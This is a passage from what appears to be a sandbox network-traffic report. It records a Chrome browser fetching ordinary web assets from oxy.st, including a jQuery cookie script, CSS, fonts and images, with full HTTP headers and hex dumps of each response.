called"),a[0]},t.dataTypes[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49710	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:52 UTC	602	OUT	GET /js/jquery.cookie.min.js HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
2024-06-15 09:14:52 UTC	389	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Wed, 05 Jun 2024 12:12:25 GMT Content-Type: application/javascript Content-Length: 2312 Last-Modified: Tue, 20 Jun 2023 20:47:54 GMT Vary: Accept-Encoding ETag: "6492107a-908" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 853348 DDG-Cache-Status: HIT
2024-06-15 09:14:52 UTC	2312	IN	Data Raw: 2f 2a 21 20 6a 71 75 65 72 79 2e 63 6f 6f 6b 69 65 20 76 31 2e 34 2e 31 20 7c 20 4d 49 54 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 61 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 61 28 72 65 71 75 69 72 65 28 22 6a 71 75 65 72 79 22 29 29 3a 61 28 6a 51 75 65 72 79 29 7d 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 61 29 7b 72 65 74 75 72 6e 20 68 2e 72 61 77 3f 61 3a 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 61 29 7b 72 65 74 75 72 6e 20 68 2e 72 61 77 3f 61 3a Data Ascii: /! jquery.cookie v1.4.1 \| MIT /!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?a(require("jquery")):a(jQuery)}(function(a){function b(a){return h.raw?a:encodeURIComponent(a)}function c(a){return h.raw?a:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49711	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:52 UTC	655	OUT	GET /img/oxy-logo.svg HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
2024-06-15 09:14:52 UTC	381	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 08 Jun 2024 08:24:24 GMT Content-Type: image/svg+xml Content-Length: 8217 Last-Modified: Wed, 17 Feb 2021 01:25:02 GMT Vary: Accept-Encoding ETag: "602c706e-2019" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 607829 DDG-Cache-Status: HIT
2024-06-15 09:14:52 UTC	8217	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 32 37 36 22 20 68 65 69 67 68 74 3d 22 32 38 37 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 37 36 20 32 38 37 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 39 36 2e 35 20 32 34 33 43 31 32 30 2e 32 30 34 20 32 35 35 2e 36 36 34 20 31 34 32 2e 30 39 35 20 32 35 38 2e 32 38 33 20 31 36 38 2e 32 39 38 20 32 35 32 2e 33 31 31 43 31 39 34 2e 35 30 32 20 32 34 36 2e 33 33 39 20 32 31 37 2e 36 37 20 32 33 31 2e 31 31 32 20 32 33 33 2e 35 34 36 20 32 30 39 2e 34 32 38 Data Ascii: <svg width="1276" height="287" viewBox="0 0 1276 287" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M96.5 243C120.204 255.664 142.095 258.283 168.298 252.311C194.502 246.339 217.67 231.112 233.546 209.428

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49713	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:52 UTC	606	OUT	GET /css/cloud.css HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
2024-06-15 09:14:53 UTC	373	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 15 Jun 2024 09:14:53 GMT Content-Type: text/css Content-Length: 53284 Last-Modified: Sun, 21 Jun 2020 20:10:25 GMT Vary: Accept-Encoding ETag: "5eefbeb1-d024" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 1 DDG-Cache-Status: MISS
2024-06-15 09:14:53 UTC	16011	IN	Data Raw: 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 30 3b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 6e 6f 2d 66 6c 65 78 62 6f 78 20 2e 73 77 69 70 65 72 2d 73 6c 69 64 65 7b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 76 65 72 74 69 63 61 6c 3e 2e 73 77 69 70 65 72 2d 77 72 61 70 70 65 72 7b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 73 77 69 70 65 72 2d Data Ascii: .swiper-container{margin:0 auto;position:relative;overflow:hidden;list-style:none;padding:0;z-index:1}.swiper-container-no-flexbox .swiper-slide{float:left}.swiper-container-vertical>.swiper-wrapper{-ms-flex-direction:column;flex-direction:column}.swiper-
2024-06-15 09:14:53 UTC	61	IN	Data Raw: 63 61 72 6f 75 73 65 6c 5f 5f 64 6f 74 5f 74 79 70 65 5f 6e 6f 6e 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 63 61 72 6f 75 73 65 6c 5f 5f 64 6f 74 5f 74 79 70 65 5f 73 6d 61 6c Data Ascii: carousel__dot_type_none{display:none}.carousel__dot_type_smal
2024-06-15 09:14:53 UTC	16384	IN	Data Raw: 6c 7b 77 69 64 74 68 3a 39 70 78 3b 68 65 69 67 68 74 3a 39 70 78 7d 2e 63 61 72 6f 75 73 65 6c 5f 5f 64 6f 74 5f 74 79 70 65 5f 62 69 67 7b 77 69 64 74 68 3a 31 34 70 78 3b 68 65 69 67 68 74 3a 31 34 70 78 7d 2e 63 61 72 6f 75 73 65 6c 5f 5f 64 6f 74 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 2d 61 63 74 69 76 65 2c 2e 63 61 72 6f 75 73 65 6c 5f 5f 64 6f 74 3a 68 6f 76 65 72 7b 6f 70 61 63 69 74 79 3a 31 7d 2e 63 61 72 6f 75 73 65 6c 20 2e 73 77 69 70 65 72 2d 77 72 61 70 70 65 72 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 2e 30 35 2c 2e 33 36 2c 31 29 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 36 37 70 78 29 7b 2e Data Ascii: l{width:9px;height:9px}.carousel__dot_type_big{width:14px;height:14px}.carousel__dot.swiper-pagination-bullet-active,.carousel__dot:hover{opacity:1}.carousel .swiper-wrapper{transition-timing-function:cubic-bezier(.65,.05,.36,1)}@media (max-width:767px){.
2024-06-15 09:14:53 UTC	16384	IN	Data Raw: 74 61 69 6e 65 72 20 2e 66 69 78 65 64 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 0a 2e 69 6d 61 67 65 2d 73 65 63 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 6d 61 67 65 2d 73 65 63 74 69 6f 6e 5f 5f 69 6d 61 67 65 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 36 37 70 78 29 7b 2e 69 6d 61 67 65 2d 73 65 63 74 69 6f 6e 20 2e 66 69 78 65 64 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 61 64 64 69 6e 67 3a 30 7d 7d 0a 2e 6c 70 2d 63 6f 6c 75 6d 6e 5f 77 69 64 74 68 5f 31 32 7b 77 Data Ascii: tainer .fixed-container{padding-left:0;padding-right:0}.image-section{font-size:0;position:relative;text-align:center}.image-section__image{max-width:100%;border:0}@media (max-width:767px){.image-section .fixed-container{padding:0}}.lp-column_width_12{w
2024-06-15 09:14:53 UTC	4444	IN	Data Raw: 5f 5f 74 65 78 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 32 70 78 7d 2e 6c 70 63 2d 62 75 74 74 6f 6e 2e 79 2d 62 75 74 74 6f 6e 5f 74 68 65 6d 65 5f 62 61 73 65 2e 79 2d 62 75 74 74 6f 6e 5f 73 69 7a 65 5f 6c 2c 2e 6c 70 63 2d 62 75 74 74 6f 6e 2e 79 2d 62 75 74 74 6f 6e 5f 74 68 65 6d 65 5f 62 6f 72 64 65 72 2e 79 2d 62 75 74 74 6f 6e 5f 73 69 7a 65 5f 6c 2c 2e 6c 70 63 2d 62 75 74 74 6f 6e 2e 79 2d 62 75 74 74 6f 6e 5f 74 68 65 6d 65 5f 63 75 73 74 6f 6d 2e 79 2d 62 75 74 74 6f 6e 5f 73 69 7a 65 5f 6c 2c 2e 6c 70 63 2d 62 75 74 74 6f 6e 2e 79 2d 62 75 74 74 6f 6e 5f 74 68 65 6d 65 5f 73 68 61 64 6f 77 2e 79 2d 62 75 74 74 6f 6e 5f 73 69 7a 65 5f 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 36 37 70 78 3b 68 Data Ascii: __text{padding:0 12px}.lpc-button.y-button_theme_base.y-button_size_l,.lpc-button.y-button_theme_border.y-button_size_l,.lpc-button.y-button_theme_custom.y-button_size_l,.lpc-button.y-button_theme_shadow.y-button_size_l{font-size: 30px;line-height: 67px;h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49717	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:53 UTC	679	OUT	GET /slake/asset/fonts/themify--fvbane.woff HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://oxy.st sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://oxy.st/slake/asset/css/elements.css?1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:53 UTC	355	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Thu, 13 Jun 2024 01:16:05 GMT Content-Type: font/woff Content-Length: 56108 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT ETag: "5eefbeb2-db2c" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 201529 DDG-Cache-Status: HIT
2024-06-15 09:14:53 UTC	16029	IN	Data Raw: 77 4f 46 46 4f 54 54 4f 00 00 db 2c 00 0a 00 00 00 00 da e4 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 46 46 20 00 00 00 f4 00 00 d2 34 00 00 d2 34 2d 2b 61 5e 4f 53 2f 32 00 00 d3 28 00 00 00 60 00 00 00 60 08 22 fe 15 63 6d 61 70 00 00 d3 88 00 00 00 4c 00 00 00 4c 1a 55 cd b6 67 61 73 70 00 00 d3 d4 00 00 00 08 00 00 00 08 00 00 00 10 68 65 61 64 00 00 d3 dc 00 00 00 36 00 00 00 36 00 69 e5 fd 68 68 65 61 00 00 d4 14 00 00 00 24 00 00 00 24 03 e3 03 3c 68 6d 74 78 00 00 d4 38 00 00 05 90 00 00 05 90 c1 05 27 54 6d 61 78 70 00 00 d9 c8 00 00 00 06 00 00 00 06 01 64 50 00 6e 61 6d 65 00 00 d9 d0 00 00 01 39 00 00 01 39 55 0c ad e2 70 6f 73 74 00 00 db 0c 00 00 00 20 00 00 00 20 00 03 00 00 01 00 04 04 00 01 01 01 08 74 68 Data Ascii: wOFFOTTO,CFF 44-+a^OS/2(``"cmapLLUgasphead66ihhea$$<hmtx8'TmaxpdPname99Upost th
2024-06-15 09:14:53 UTC	16384	IN	Data Raw: a9 15 8a aa 86 a9 82 a8 08 da 8b 05 9a 70 93 6c 8e 6b 08 31 8b 05 b8 f7 0d 15 44 8b 05 7f a7 7b a6 78 a5 bb 7d b4 6e a8 65 08 fb 38 e4 15 a4 70 9f 6d 9a 6b 08 fb 2e 8b 05 9a ab 9f a9 a3 a6 91 8b 91 8c 91 8b 91 8b 91 8a 90 8b 08 3a 82 15 78 72 7c 70 7f 6f 08 45 8b 05 a8 b1 b3 a8 ba 98 08 fb 08 fb f4 15 d1 8b 05 97 6f 9b 70 9e 71 5c 99 62 a8 6e b1 08 f7 37 32 15 72 a6 77 a9 7c ab 08 f7 2e 8b 05 7c 6b 77 6d 72 70 86 8b 85 8a 85 8b 85 8b 86 8c 85 8b 08 db 93 15 9e a4 9b a7 97 a7 08 d2 8b 05 6e 65 62 6e 5b 7d 08 0e f7 dc e8 15 a9 85 05 7c 45 4e 5a 44 8b 38 8b 47 cf 8b de 8b cf b9 c7 cd 9c 08 93 6e 05 56 7d 66 5b 8b 55 8b 48 c1 55 ce 8b c4 8b bb b2 97 c3 08 f7 2e 47 15 8b 6c 53 8b 6e f7 10 fb 4e 8b 7b f7 88 05 72 92 78 a2 8b a7 8b ac a6 a6 ac 8b ac 8b a6 70 8b Data Ascii: plk1D{x}ne8pmk.:xr\|poEopq\bn72rw\|.\|kwmrpnebn[}\|ENZD8GnV}f[UHU.GlSnN{rxp
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 8b a9 c7 8b 8b c7 a9 8b 8b 4f c7 8b 8b 6d 4f 8b 8b 4f 6d 8b 8b c7 05 0e f8 94 f7 0d 15 8b ab 71 a4 6c 8b 08 fb 19 8b b1 f7 1c 8c f5 05 8b ac 6f a6 6b 8b 08 31 8b 05 6a 8b 70 70 8b 6a 08 8b 26 b1 fb 21 fb 18 8b 05 6c 8b 71 72 8b 6b 08 8b fb 0f a9 8b 8b 6d f8 58 8b 8b a9 a9 8b 8b f7 0f 05 6d 2e 15 fc 58 8b 8b e8 05 8b 9a 97 97 9a 8b 08 f7 40 8b 5b f7 41 8b ee 05 8b 9b 99 99 9b 8b 08 e5 8b 05 9b 8b 99 7d 8b 7b 08 8b 27 5b fb 40 f7 40 8b 05 9a 8b 97 7f 8b 7c 08 8b 2e 05 0e f7 35 f7 c4 15 3c 3b da 3b 76 76 26 f0 f0 f0 a0 76 05 f7 67 a0 15 76 76 da 3b 3c 3b a0 76 f0 f0 26 f0 05 fb 17 fb f9 15 a9 8b 8b f8 94 6d 8b 8b fc 94 05 0e f8 87 f8 00 15 61 b6 05 7a 9c 6d 8b 7a 7a 08 fc 0f fc 10 f7 37 8b cd cd a4 73 f7 7b f7 7b 05 93 94 90 96 8b 97 8b 97 86 97 83 93 08 fb Data Ascii: OmOOmqlok1jppj&!lqrkmXm.X@[A}{'[@@\|.5<;;vv&vgvv;<;v&mazmzz7s{{
2024-06-15 09:14:54 UTC	7311	IN	Data Raw: 8b 72 9f 77 a4 8b 08 f8 3a 8b 05 a4 8b 9f 9f 8b a4 08 8b f8 13 36 df 05 fb 4e 6d 15 8b fb 0d e5 8b 8b f7 0d a9 8b 8b fb 2b fb 85 8b 8b f7 2b f7 0d 8b 05 fb 2b fc 58 15 8b f7 49 f7 e0 8b 8b fb 49 fb e0 8b 05 f8 1c 9a 15 8b 83 84 84 83 8b 08 7c 8b 8b f7 67 fc 1c 8b 8b fb 67 7c 8b 05 83 8b 84 92 8b 93 08 8b f8 3a 05 8b 93 92 92 93 8b 08 b8 8b 8b fb 49 f7 c2 8b 8b f7 49 a1 8b cf 49 8b fc 07 05 0e f8 67 f8 74 15 fc 12 8b 36 37 8b fc 13 05 8b 72 9f 77 a4 8b 08 f8 3a 8b 05 a4 8b 9f 9f 8b a4 08 8b f8 3a 05 8b a4 77 9f 72 8b 08 40 6d 15 8b 4f fb 85 8b 8b c7 f7 85 8b 05 fb c2 fc 58 15 8b a9 f7 e0 8b 8b 6d fb e0 8b 05 f8 1c 9a 15 8b 83 84 84 83 8b 08 7c 8b 8b c7 fc 1c 8b 8b 4f 7c 8b 05 83 8b 84 92 8b 93 08 8b f8 07 cf cd a1 8b 8b 31 f7 c2 8b 8b e5 b8 8b 05 93 8b 92 Data Ascii: rw:6Nm+++XII\|gg\|:IIIgt67rw::wr@mOXm\|O\|1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49716	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:53 UTC	715	OUT	GET /slake/asset/img/bg/flake-slider-header.jpg HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oxy.st/slake/style.css?ver=6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:53 UTC	356	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Tue, 11 Jun 2024 05:19:51 GMT Content-Type: image/jpeg Content-Length: 31870 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT ETag: "5eefbeb2-7c7e" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 359702 DDG-Cache-Status: HIT
2024-06-15 09:14:53 UTC	16028	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 64 00 00 ff e1 03 8d 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 32 31 20 37 39 2e 31 35 34 39 31 31 2c 20 32 30 31 33 2f 31 30 2f 32 39 2d 31 31 3a 34 37 3a 31 36 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Duckydhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xm
2024-06-15 09:14:53 UTC	15842	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 4c 72 8b e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d2 e6 18 3f 31 b3 cf 8e 23 5b 79 26 f4 ed f3 d3 df ac 47 c5 a6 9e 94 fc b6 4f 4b 3d 6d d1 ae 93 f0 96 b7 8e 2a cc 28 0e 91 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Lr?1#[y&GOK=m*(H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49718	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:53 UTC	685	OUT	GET /slake/asset/slice_white.png HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:53 UTC	353	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 15 Jun 2024 04:13:00 GMT Content-Type: image/png Content-Length: 6078 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT ETag: "5eefbeb2-17be" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 18114 DDG-Cache-Status: HIT
2024-06-15 09:14:53 UTC	6078	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c9 00 00 00 2d 08 06 00 00 00 04 13 4f 91 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 00 00 00 00 00 f9 43 bb 7f 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 17 22 49 44 41 54 78 da ed 9d 79 9c 14 d5 b5 c7 bf a7 7a 7a 16 66 9f 61 14 11 15 64 55 14 04 95 11 71 8d 1a 50 4c 24 2e 31 06 0d 5b 50 63 12 7d 1a a3 e4 25 71 c9 7b 79 09 2f 10 f2 f2 4c 34 26 12 d0 a8 89 49 54 34 0a 3c dc 41 45 05 05 02 12 45 10 65 80 81 19 66 63 f6 e9 a9 f3 fe b8 b7 9a 9e ea ea 9e 69 16 27 9f 30 bf cf a7 3f fd a9 7b 6f dd ba f7 54 9d 3a eb bd Data Ascii: PNGIHDR-OgAMAa cHRMz&u0`:pQ<bKGDCpHYs~"IDATxyzzfadUqPL$.1[Pc}%q{y/L4&IT4<AEEefci'0?{oT:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49719	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:53 UTC	676	OUT	GET /images/sprite3.png HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:53 UTC	353	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 08 Jun 2024 04:41:41 GMT Content-Type: image/png Content-Length: 2059 Last-Modified: Sun, 27 Mar 2022 20:43:28 GMT ETag: "6240cc70-80b" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 621193 DDG-Cache-Status: HIT
